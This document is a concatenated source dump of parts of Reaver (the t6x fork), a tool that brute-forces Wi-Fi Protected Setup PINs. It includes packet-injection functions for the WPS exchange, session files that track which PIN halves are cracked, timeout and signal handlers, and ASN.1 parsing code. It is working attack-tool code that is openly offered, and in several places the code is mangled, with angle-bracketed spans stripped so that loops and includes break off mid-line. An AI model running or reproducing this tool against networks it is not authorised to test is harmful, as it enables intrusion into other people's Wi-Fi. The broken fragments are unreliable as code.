IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_XCHANNEL = 18, IEEE80211_RADIOTAP_MCS = 19, IEEE80211_RADIOTAP_AMPDU_STATUS = 20, IEEE80211_RADIOTAP_VHT = 21, IEEE80211_RADIOTAP_TIMESTAMP = 22, IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, IEEE80211_RADIOTAP_EXT = 31 }; #endif static const unsigned char ieee80211_radiotap_type_size[] = { [IEEE80211_RADIOTAP_TSFT] = 8, [IEEE80211_RADIOTAP_FLAGS] = 1, [IEEE80211_RADIOTAP_RATE] = 1, [IEEE80211_RADIOTAP_CHANNEL] = 2*2, [IEEE80211_RADIOTAP_FHSS] = 2, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 1, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 1, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 2, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 2, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 2, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 1, [IEEE80211_RADIOTAP_ANTENNA] = 1, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 1, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 1, [IEEE80211_RADIOTAP_RX_FLAGS] = 2, [IEEE80211_RADIOTAP_TX_FLAGS] = 2, [IEEE80211_RADIOTAP_RTS_RETRIES] = 1, [IEEE80211_RADIOTAP_DATA_RETRIES] = 1, [IEEE80211_RADIOTAP_MCS] = 1+1+1, [IEEE80211_RADIOTAP_AMPDU_STATUS] = 4+2+1+1, [IEEE80211_RADIOTAP_VHT] = 12, [IEEE80211_RADIOTAP_TIMESTAMP] = 12, }; static const unsigned char ieee80211_radiotap_type_align[] = { [IEEE80211_RADIOTAP_TSFT] = 8, [IEEE80211_RADIOTAP_FLAGS] = 1, [IEEE80211_RADIOTAP_RATE] = 1, [IEEE80211_RADIOTAP_CHANNEL] = 2, [IEEE80211_RADIOTAP_FHSS] = 2, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 1, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 1, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 2, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 2, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 2, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 1, [IEEE80211_RADIOTAP_ANTENNA] = 1, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 1, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 1, [IEEE80211_RADIOTAP_RX_FLAGS] = 2, [IEEE80211_RADIOTAP_TX_FLAGS] = 2, [IEEE80211_RADIOTAP_RTS_RETRIES] = 1, [IEEE80211_RADIOTAP_DATA_RETRIES] = 1, [IEEE80211_RADIOTAP_MCS] = 1, [IEEE80211_RADIOTAP_AMPDU_STATUS] = 4, [IEEE80211_RADIOTAP_VHT] = 2, [IEEE80211_RADIOTAP_TIMESTAMP] = 8, }; /* get offset of the specified flag, starting from start_off */ static uint32_t rt_get_flag_offset(uint32_t pflags, uint32_t which, uint32_t start_off) { unsigned i,c=start_off; for(i=0;i #include "utils/endianness.h" /* get present flags and offset of just after the radiotap header end. returns 1 on succes, 0 on bogus data */ static int rt_get_presentflags(const void *data, size_t len, uint32_t *pflags, uint32_t *offset) { const struct ieee80211_radiotap_header* rh = data; *offset = sizeof(*rh); uint32_t fc = *pflags = end_le32toh(rh->it_present); while(fc & (1U << IEEE80211_RADIOTAP_EXT)) { if (*offset > len - 4) return 0; memcpy(&fc, data + *offset, 4); fc = end_le32toh(fc); *offset += 4; } return 1; } #endif reaver-wps-fork-t6x-1.6.6/src/send.c000066400000000000000000000123771363372615500172060ustar00rootroot00000000000000/* * Reaver - Transmit functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "send.h" /* Initiate the WPS session with an EAPOL START packet */ int send_eapol_start() { const void *packet = NULL; size_t packet_len = 0; int ret_val = 0; packet = build_eapol_start_packet(&packet_len); if(packet) { cprintf(VERBOSE, "[+] Sending EAPOL START request\n"); ret_val = send_packet(packet, packet_len, 1); free((void *) packet); } /* * This is used to track how many times an EAPOL START request is sent * in a row. * * It is cleared by the process_packets() function when an EAP identity * resquest is received. * * If it reaches EAPOL_START_MAX_TRIES, do_wps_exchange() will notify * the user. */ set_eapol_start_count(get_eapol_start_count() + 1); return ret_val; } /* Send an identity response packet */ int send_identity_response() { const void *packet = NULL, *identity = NULL; size_t packet_len = 0; int ret_val = 0; identity = WFA_REGISTRAR; packet = build_eap_packet(identity, strlen(identity), &packet_len); if(packet) { cprintf(VERBOSE, "[+] Sending identity response\n"); ret_val = send_packet(packet, packet_len, 1); free((void *) packet); } return ret_val; } /* Send the appropriate WPS message based on the current WPS state (globule->wps->state) */ int send_msg(int type) { int ret_val = 0; const struct wpabuf *msg = NULL; unsigned char *payload = NULL; const void *packet = NULL; size_t packet_len = 0; uint16_t payload_len = 0; enum wsc_op_code opcode = 0; struct wps_data *wps = get_wps(); /* * Get the next message we need to send based on the data retrieved * from wps_registrar_process_msg (see exchange.c). */ msg = wps_registrar_get_msg(wps, &opcode, type); set_opcode(opcode); if(msg) { /* Get a pointer to the actual data inside of the wpabuf */ payload = (unsigned char *) wpabuf_head(msg); payload_len = (uint16_t) msg->used; /* Build and send an EAP packet with the message payload */ packet = build_eap_packet(payload, payload_len, &packet_len); if(packet) { if(send_packet(packet, packet_len, 1)) { ret_val = 1; } else { free((void *) packet); } } wpabuf_free((struct wpabuf *) msg); } return ret_val; } /* * Send a WSC_NACK message followed by an EAP failure packet. * This is only called when completely terminating a cracking session. */ void send_termination() { const void *data = NULL; size_t data_size = 0; data = build_eap_failure_packet(&data_size); if(data) { send_packet(data, data_size, 1); free((void*) data); } } /* Send a WSC_NACK message */ void send_wsc_nack() { struct wps_data *wps = get_wps(); wps->state = SEND_WSC_NACK; send_msg(SEND_WSC_NACK); } /* store last packet */ static size_t last_len; static unsigned char last_packet[4096]; int resend_last_packet(void) { return send_packet(last_packet, last_len, 0); } /* * All transmissions are handled here to ensure that the receive timer * is always started immediately after a packet is transmitted. */ static int send_packet_real(const void *packet, size_t len, int use_timer) { int ret_val = 0; if(pcap_inject(get_handle(), packet, len) == len) { ret_val = 1; } if (use_timer) { if(len < sizeof last_packet) { memcpy(last_packet, packet, len); last_len = len; } start_timer(); } return ret_val; } int send_packet_internal(const char* callerfunc, const char* file, int callerline, const void *packet, size_t len, int use_timer) { cprintf(DEBUG, "send_packet called from %s() %s:%d\n", callerfunc, file, callerline); int i, ret; #define CNT 1 for(i=0;i * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SEND_H #define SEND_H #include "defs.h" #include "globule.h" #include "builder.h" #include "sigalrm.h" #include "misc.h" #define WFA_REGISTRAR "WFA-SimpleConfig-Registrar-1-0" int send_eapol_start(); int send_identity_response(); int send_msg(int type); void send_termination(); void send_wsc_nack(); #define send_packet(a, b, c) send_packet_internal(__FUNCTION__, __FILE__, __LINE__, a, b, c) int resend_last_packet(void); int send_packet_internal(const char* callerfunc, const char* file, int callerline, const void *packet, size_t len, int use_timer); #endif reaver-wps-fork-t6x-1.6.6/src/session.c000066400000000000000000000302551363372615500177330ustar00rootroot00000000000000/* * Reaver - Session save/restore functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "session.h" #include /* Does the configuration directory exist? Returns 1 for yes, 0 for no. */ static int configuration_directory_exists() { struct stat dirstat; return (stat(CONF_DIR, &dirstat) == 0); } static void gen_sessionfile_name(const char* bssid, char* outbuf) { #ifdef SAVETOCURRENT snprintf(outbuf, FILENAME_MAX, "%s.%s", bssid, CONF_EXT); #else int cde = configuration_directory_exists(); snprintf(outbuf, FILENAME_MAX, "%s%s%s.%s", cde?CONF_DIR:"", cde?"/":"", bssid, CONF_EXT); #endif } int restore_session() { struct stat wpstat = { 0 }; char line[MAX_LINE_SIZE] = { 0 }; char temp[P1_READ_LEN] = { 0 }; char file[FILENAME_MAX]; char *bssid = NULL; char answer = 0; FILE *fp = NULL; int ret_val = 0, i = 0; int add, p1_tried, p2_tried; /* * If a session file was explicitly specified, use that; else, check for the * default session file name for this BSSID. */ if(get_session()) { strcpy(file, get_session()); } else { bssid = mac2str(get_bssid(), '\0'); gen_sessionfile_name(bssid, file); free(bssid); } /* * If a session was explicitly specified, or if the auto detect option was specified, * then the answer to any of the following questions will be 'yes'. */ if(get_session()) { answer = 'y'; } /* * Do not restore the session when arbitrary string pin is specified. */ if(get_pin_string_mode()) { answer = 'n'; } if(stat(file, &wpstat) != 0) goto out; /* If the user explicitly specified a session file, don't prompt them */ if(answer == 0) { bssid = mac2str(get_bssid(), ':'); /* Don't use cprintf here; else, if the output is sent to a file via -o, the user won't see this prompt. */ fprintf(stderr, "[?] Restore previous session for %s? [n/Y] ", bssid); answer = getc(stdin); free(bssid); } if(!(answer == 'y' || answer == 'Y' || answer == '\n')) goto out; if(!(fp = fopen(file, "r"))) { perror("fopen"); goto out; } /* Get the key1 index value */ if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; set_p1_index(atoi(line)); /* Get the key2 index value */ if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; set_p2_index(atoi(line)); /* Get the key status value */ if(fgets(line, MAX_LINE_SIZE, fp) == NULL) goto fout; set_key_status(atoi(line)); /* Read in all p1 values */ add = p1_tried = 0; for(i=0; i= KEY2_WIP */ if (get_key_status() >= KEY2_WIP && strcmp(get_static_p1(), get_p1(get_p1_index())) != 0) { cprintf(INFO, "[!] First half PIN ignored, it was cracked\n"); } /* Print message what second half pin ignored if former key status == KEY_DONE */ if (get_key_status() == KEY_DONE && strcmp(get_static_p2(), get_p2(get_p2_index())) != 0) { cprintf(INFO, "[!] Second half PIN ignored, it was cracked\n"); } } fout: fclose(fp); out: if(!ret_val) { set_p1_index(0); set_p2_index(0); set_key_status(KEY1_WIP); } else if(ret_val == -1) { cprintf(CRITICAL, "[!] The PIN has already been tested\n"); } else { cprintf(INFO, "[+] Restored previous session\n"); } return ret_val; } int save_session() { if(get_pin_string_mode()) { cprintf(VERBOSE, "[*] String pin was specified, nothing to save.\n"); return 0; } /* Don't bother saving anything if nothing has been done */ /* Save .wpc file if the first half of first pin is correct */ if(!((get_p1_index() > 0) || (get_p2_index() > 0) || (get_key_status() >= KEY2_WIP))) { cprintf(VERBOSE, "[+] Nothing done, nothing to save.\n"); return 0; } /* * If a session file was explicitly specified, use that; else, check for the * default session file name for this BSSID. */ char file_name[FILENAME_MAX]; if(get_session()) { strcpy(file_name, get_session()); } else { char bssid[6*3]; mac2str_buf(get_bssid(), '\0', bssid); gen_sessionfile_name(bssid, file_name); } FILE *fp; if(!(fp = fopen(file_name, "w"))) { dprintf(2, "errror: fopen %s: %s\n", file_name, strerror(errno)); return 0; } /* Save key1 index value */ fprintf(fp, "%d\n", get_p1_index()); /* Save key2 index value */ fprintf(fp, "%d\n", get_p2_index()); /* Save key status value */ fprintf(fp, "%d\n", get_key_status()); int i; /* Save all the p1 values */ for(i=0; ip1[v_index]; for (i=v_index; i > index; --i) { globule->p1[i] = globule->p1[i-1]; } globule->p1[index] = pch; } } } else if (strcmp(value, get_p1(get_p1_index())) != 0) { ret_val = -2; } return ret_val; } /** * Insert the value to current p2 index (jump the queue) * Return value: * -2 = value tried because KEY_DONE, array nothing done * -1 = value tried, array nothing done * 0 = value is the same as current index, nothing done * 1 = array reorganized * * @params char* value The second half WPS pin * * @return int */ int jump_p2_queue(char* value) { int i, index, v_index, found; int ret_val = 0; char *pch; if (!value || strcmp(value, get_p2(get_p2_index())) == 0) { return 0; } if(get_key_status() < KEY_DONE) { found = 0; /* Get the p2 index */ index = get_p2_index(); /* Check the value was tried */ for(i=0; i < P2_SIZE && i < index; ++i) { if (strcmp(get_p2(i), value) == 0) { found = 1; ret_val = -1; break; } } if (!found) { /* Find the p2 index of the value */ for(i=index; i < P2_SIZE; ++i) { if (strcmp(get_p2(i), value) == 0) { found = 1; v_index = i; if (v_index != index) { ret_val = 1; } break; } } if (found) { /* Reorganize p2 array */ pch = globule->p2[v_index]; for (i=v_index; i > index; --i) { globule->p2[i] = globule->p2[i-1]; } globule->p2[index] = pch; } } } else if (strcmp(value, get_p2(get_p2_index())) != 0) { ret_val = -2; } return ret_val; } reaver-wps-fork-t6x-1.6.6/src/session.h000066400000000000000000000042641363372615500177410ustar00rootroot00000000000000/* * Reaver - Session save/restore functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SESSION_H #define SESSION_H #include #include #include "defs.h" #include "misc.h" #include "globule.h" #ifndef CONF_DIR #define CONF_DIR "/etc/reaver" #endif #define MAX_LINE_SIZE 128 #define CONF_EXT "wpc" #define P1_STR_LEN 4 #define P2_STR_LEN 3 #define P1_READ_LEN (P1_STR_LEN + 2) /* Read lengths == (strlen + new line + null byte) */ #define P2_READ_LEN (P2_STR_LEN + 2) int restore_session(); int save_session(); char *get_crack_progress(unsigned char *mac); int jump_p1_queue(char* value); int jump_p2_queue(char* value); #endif reaver-wps-fork-t6x-1.6.6/src/sigalrm.c000066400000000000000000000070111363372615500177000ustar00rootroot00000000000000/* * Reaver - Sigalrm handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "sigalrm.h" #include "send.h" /* Initializes SIGALRM handler */ void sigalrm_init() { struct sigaction act; memset(&act, 0, sizeof(struct sigaction)); act.sa_handler = alarm_handler; sigaction (SIGALRM, &act, 0); } static void rewind_timer() { struct itimerval timer = {0}; timer.it_value.tv_usec = globule->resend_timeout_usec; set_out_of_time(0); setitimer(ITIMER_REAL, &timer, 0); } static unsigned timeout_ticks; static unsigned long long timeout_usec; /* Starts receive timer. Called from send_packet() after a packet is trasmitted */ void start_timer() { struct wps_data *wps = get_wps(); timeout_ticks = 0; /* * The M5 and M7 messages have very fast turn around times - * typically a few hundreths of a second. We don't want to wait * around forever to see if we get them or not, so use a short * timeout value when waiting for those messages. * Ignore this timeout if we know the AP responds with NACKs when * the wrong pin is supplied instead of not responding at all. */ if(get_timeout_is_nack() && (wps->state == RECV_M5 || wps->state == RECV_M7)) { timeout_usec = get_m57_timeout(); } else { /* * Other messages may take up to 2 seconds to respond - * wait a little longer for them. */ timeout_usec = get_rx_timeout() * 1000000LL; } rewind_timer(); } /* Timer is stopped by process_packet() when any valid EAP packet is received */ void stop_timer() { struct itimerval timer; set_out_of_time(0); memset(&timer, 0, sizeof(struct itimerval)); setitimer(ITIMER_REAL, &timer, 0); } /* Handles SIGALRM interrupts */ void alarm_handler(int x) { timeout_ticks++; if(timeout_ticks * globule->resend_timeout_usec > timeout_usec) { set_out_of_time(1); cprintf(VERBOSE, "[!] WARNING: Receive timeout occurred\n"); } else { resend_last_packet(); rewind_timer(); } } reaver-wps-fork-t6x-1.6.6/src/sigalrm.h000066400000000000000000000035021363372615500177060ustar00rootroot00000000000000/* * Reaver - Sigalrm handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SIGALRM_H #define SIGALRM_H #include #include #include "defs.h" #include "globule.h" #include "misc.h" void sigalrm_init(); void start_timer(); void stop_timer(); void alarm_handler(int x); #endif reaver-wps-fork-t6x-1.6.6/src/sigint.c000066400000000000000000000045061363372615500175450ustar00rootroot00000000000000/* * Reaver - Sigint handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "sigint.h" /* Initializes SIGINT handler */ void sigint_init() { struct sigaction act; memset(&act, 0, sizeof(struct sigaction)); act.sa_handler = sigint_handler; sigaction (SIGINT, &act, 0); return; } /* Handles Ctrl+C */ void sigint_handler(int x) { /* If we have initiated a WPS exchange, try to end it before quitting */ if(get_wps() != NULL) { send_termination(); } /* * This is just here because I get annoyed when the terminal displays the * '^C' on the same line as my intentional output. */ printf("\n"); fflush(stdout); /* Save our session */ if(save_session()) { cprintf(INFO, "[+] Session saved.\n"); } /* Clean up and get out */ globule_deinit(); exit(EXIT_FAILURE); } reaver-wps-fork-t6x-1.6.6/src/sigint.h000066400000000000000000000034041363372615500175460ustar00rootroot00000000000000/* * Reaver - Sigint handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SIGINT_H #define SIGINT_H #include #include "globule.h" #include "send.h" #include "session.h" void sigint_init(); void sigint_handler(int x); #endif reaver-wps-fork-t6x-1.6.6/src/tls/000077500000000000000000000000001363372615500167015ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/tls/Makefile000077500000000000000000000010171363372615500203430ustar00rootroot00000000000000all: libtls.a clean: rm -f *~ *.o *.d libtls.a install: @echo Nothing to be made. include ../common/lib.rules CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH CFLAGS += -DCONFIG_CRYPTO_INTERNAL LIB_OBJS= \ asn1.o \ bignum.o \ pkcs1.o \ pkcs5.o \ pkcs8.o \ rsa.o \ tlsv1_client.o \ tlsv1_client_read.o \ tlsv1_client_write.o \ tlsv1_common.o \ tlsv1_cred.o \ tlsv1_record.o \ tlsv1_server.o \ tlsv1_server_read.o \ tlsv1_server_write.o \ x509v3.o libtls.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) reaver-wps-fork-t6x-1.6.6/src/tls/asn1.c000077500000000000000000000103141363372615500177110ustar00rootroot00000000000000/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr) { const u8 *pos, *end; u8 tmp; os_memset(hdr, 0, sizeof(*hdr)); pos = buf; end = buf + len; hdr->identifier = *pos++; hdr->class = hdr->identifier >> 6; hdr->constructed = !!(hdr->identifier & (1 << 5)); if ((hdr->identifier & 0x1f) == 0x1f) { hdr->tag = 0; do { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Identifier " "underflow"); return -1; } tmp = *pos++; wpa_printf(MSG_MSGDUMP, "ASN.1: Extended tag data: " "0x%02x", tmp); hdr->tag = (hdr->tag << 7) | (tmp & 0x7f); } while (tmp & 0x80); } else hdr->tag = hdr->identifier & 0x1f; tmp = *pos++; if (tmp & 0x80) { if (tmp == 0xff) { wpa_printf(MSG_DEBUG, "ASN.1: Reserved length " "value 0xff used"); return -1; } tmp &= 0x7f; /* number of subsequent octets */ hdr->length = 0; if (tmp > 4) { wpa_printf(MSG_DEBUG, "ASN.1: Too long length field"); return -1; } while (tmp--) { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Length " "underflow"); return -1; } hdr->length = (hdr->length << 8) | *pos++; } } else { /* Short form - length 0..127 in one octet */ hdr->length = tmp; } if (end < pos || hdr->length > (unsigned int) (end - pos)) { wpa_printf(MSG_DEBUG, "ASN.1: Contents underflow"); return -1; } hdr->payload = pos; return 0; } int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid) { const u8 *pos, *end; unsigned long val; u8 tmp; os_memset(oid, 0, sizeof(*oid)); pos = buf; end = buf + len; while (pos < end) { val = 0; do { if (pos >= end) return -1; tmp = *pos++; val = (val << 7) | (tmp & 0x7f); } while (tmp & 0x80); if (oid->len >= ASN1_MAX_OID_LEN) { wpa_printf(MSG_DEBUG, "ASN.1: Too long OID value"); return -1; } if (oid->len == 0) { /* * The first octet encodes the first two object * identifier components in (X*40) + Y formula. * X = 0..2. */ oid->oid[0] = val / 40; if (oid->oid[0] > 2) oid->oid[0] = 2; oid->oid[1] = val - oid->oid[0] * 40; oid->len = 2; } else oid->oid[oid->len++] = val; } return 0; } int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next) { struct asn1_hdr hdr; if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) { wpa_printf(MSG_DEBUG, "ASN.1: Expected OID - found class %d " "tag 0x%x", hdr.class, hdr.tag); return -1; } *next = hdr.payload + hdr.length; return asn1_parse_oid(hdr.payload, hdr.length, oid); } void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) { char *pos = buf; size_t i; int ret; if (len == 0) return; buf[0] = '\0'; for (i = 0; i < oid->len; i++) { ret = os_snprintf(pos, buf + len - pos, "%s%lu", i == 0 ? "" : ".", oid->oid[i]); if (ret < 0 || ret >= buf + len - pos) break; pos += ret; } buf[len - 1] = '\0'; } static u8 rotate_bits(u8 octet) { int i; u8 res; res = 0; for (i = 0; i < 8; i++) { res <<= 1; if (octet & 1) res |= 1; octet >>= 1; } return res; } unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len) { unsigned long val = 0; const u8 *pos = buf; /* BER requires that unused bits are zero, so we can ignore the number * of unused bits */ pos++; if (len >= 2) val |= rotate_bits(*pos++); if (len >= 3) val |= ((unsigned long) rotate_bits(*pos++)) << 8; if (len >= 4) val |= ((unsigned long) rotate_bits(*pos++)) << 16; if (len >= 5) val |= ((unsigned long) rotate_bits(*pos++)) << 24; if (len >= 6) wpa_printf(MSG_DEBUG, "X509: %s - some bits ignored " "(BIT STRING length %lu)", __func__, (unsigned long) len); return val; } reaver-wps-fork-t6x-1.6.6/src/tls/asn1.h000077500000000000000000000044761363372615500177320ustar00rootroot00000000000000/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef ASN1_H #define ASN1_H #define ASN1_TAG_EOC 0x00 /* not used with DER */ #define ASN1_TAG_BOOLEAN 0x01 